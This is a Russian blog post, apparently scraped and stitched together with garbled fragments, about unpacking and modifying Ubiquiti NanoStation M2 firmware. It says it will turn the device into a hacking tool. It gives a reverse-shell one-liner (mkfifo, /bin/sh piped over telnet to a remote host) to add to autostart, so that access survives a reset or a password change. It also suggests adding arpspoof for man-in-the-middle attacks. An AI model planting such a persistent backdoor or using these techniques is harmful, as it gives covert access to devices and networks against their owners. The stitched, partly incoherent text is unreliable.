Прошивка Openwrt Роутера Ubiquiti Rocket M2

21.09.2019by admin
Прошивка Openwrt Роутера Ubiquiti Rocket M2

NanoStation M2 фирмы Ubiquiti — это всепогодная точка доступа, предназначенная для построения беспроводных мостов на расстояние десять и более километров. Может работать в режиме радиомоста, точки доступа, репитера.

Прошивка openwrt роутера ubiquiti rocket m2m

В качестве процессора в ней используется чип Atheros AR2315 (MIPS 4KC, 180 МГц). Имеет на борту 32 Мбайт оперативной памяти и 8 Мбайт флеш.

Где к Rocket M2 подклюяали ДлинкЮ Тплинк и тд, как клиент. Работало это. Есть проблемы. 1 - прошивки сырые, обновляются, все лучше и лучше. Так же было с Юбикивити до появления версии 5.0. Читал что есть прошивки OpenWRT, но какой конкретно нужен роутер понять не могу. Пошаговая инструкция по восстановлению устройств Ubiquiti после неудачной прошивки. Ubiquiti NanoStation Loco M2 прошивка Ремонт сотовых телефонов и планшетных компьютеров.

То есть это, по сути, мини-компьютер, построенный на архитектуре MIPS, с установленным Linux на борту. А это значит, что можно модифицировать его под свои нужды. Каким образом? Об этом и поговорим. Зачем оно надо?

Прошивка Openwrt Роутера Ubiquiti Rocket M22

Кто-то может с самого начала небезосновательно задать вопрос: а зачем, собственно, ковырять прошивку? Ведь можно взять готовый SDK и собрать свою прошивку с практически любым набором программ. Во-первых, ребята из Ubiquiti свернули программу по распространению SDK, во-вторых, при сборке SDK может возникнуть куча проблем (у меня, например, так и не получилось собрать работоспособную версию кастомной прошивки). Ну и в-третьих, как ни парадоксально, модификация готовой прошивки требует минимум инструментов и времени. Для чего вообще это все может понадобиться? Для добавления функциональности, не предусмотренной базовой прошивкой. Например, для создания обратных тоннелей.

Добавив в автозагрузку вот это. Rm /tmp/f;mkfifo /tmp/f;cat /tmp/f /bin/sh -i 2&1 telnet remoteip remoteport /tmp/f где remoteip — адрес, куда необходимо подключиться, remoteport — удаленный порт, можно получить доступ к устройству даже после сброса или смены логина/пароля. Для добавления всяких сканеров (я успешно добавил knocker, это, конечно, не Nmap, но все же), спуферов (собрав тот же arpspoof, можно реализовать атаку man in the middle, тем более что tcpdump уже имеется в базовой прошивке) и прочих прелестей (например, собрав OpenVPN, можно получить доступ к сети, где стоит наша железка, из любого места).

В общем, при желании и наличии фантазии можно сделать из NanoStation M2 отличный инструмент для взлома. Инструменты Я проводил все эксперименты на прошивке версии 5.5.4, 6-я версия имеет незначительные отличия, но аналогичным образом можно изменить и ее. Все действия совершались в виртуальной машине, на которой был установлен Arch Linux. Прежде всего для работы нам понадобится binwalk. В Arch’e ставим так: pacman -S binwalk. Также необходим кросс-компилятор для архитектуры MIPS. Тот, который использовал я, можешь взять.

Его нужно распаковать в удобный каталог. У меня он лежит в /root/toolchains/cross-compiler-mips. Ну и собственно сам файл прошивки.

Прошивка Openwrt Роутера Ubiquiti Rocket M24

Еще потребуются утилиты для работы со squashfs, а также какой-нибудь hex-редактор. Я использовал hexedit, установить его просто: pacman -S squashfs-tools hexedit. Да, для вычисления контрольных сумм я поставил пакет perl-archive-zip: pacman -S perl-archive-zip, в нем есть скрипт crc32, он и будет нам нужен. Итак, начнем. Общее строение прошивки Перед тем как что-то менять, ознакомимся с внутренним устройством прошивки. В общем случае она представляет собой бинарный файл, который состоит из следующих частей:.

Ubiquiti firmware header — заголовок прошивки. Содержит строку с версией прошивки. Ubiquiti partition header — заголовок первого раздела (PARTu-boot). Здесь содержится основная информация о разделе u-boot: размер, адреса памяти для загрузки, максимальный размер и так далее. Стоит отметить, что формат заголовков разделов один и тот же, меняются только значения параметров для соответствующих разделов (имена, размеры, адреса памяти). Загрузчик u-boot — собственно сам загрузчик. Ubiquiti partition header — заголовок второго раздела (PARTkernel).

Описывает раздел PARTkernel (см. Образ ядра, сжатый алгоритмом LZMA. В основном используется ядро версии 2.6.х. Ubiquiti partition header — заголовок третьего раздела (PARTrootfs). Описание раздела с файловой системой.

Образ файловой системы squashfs, сжатый алгоритмом LZMA. С этим образом мы и будем работать. Данные, сжатые gzip. Они нам не понадобятся, поэтому опустим подробности, что они собой представляют. Базовая информация о строении прошивки была получена.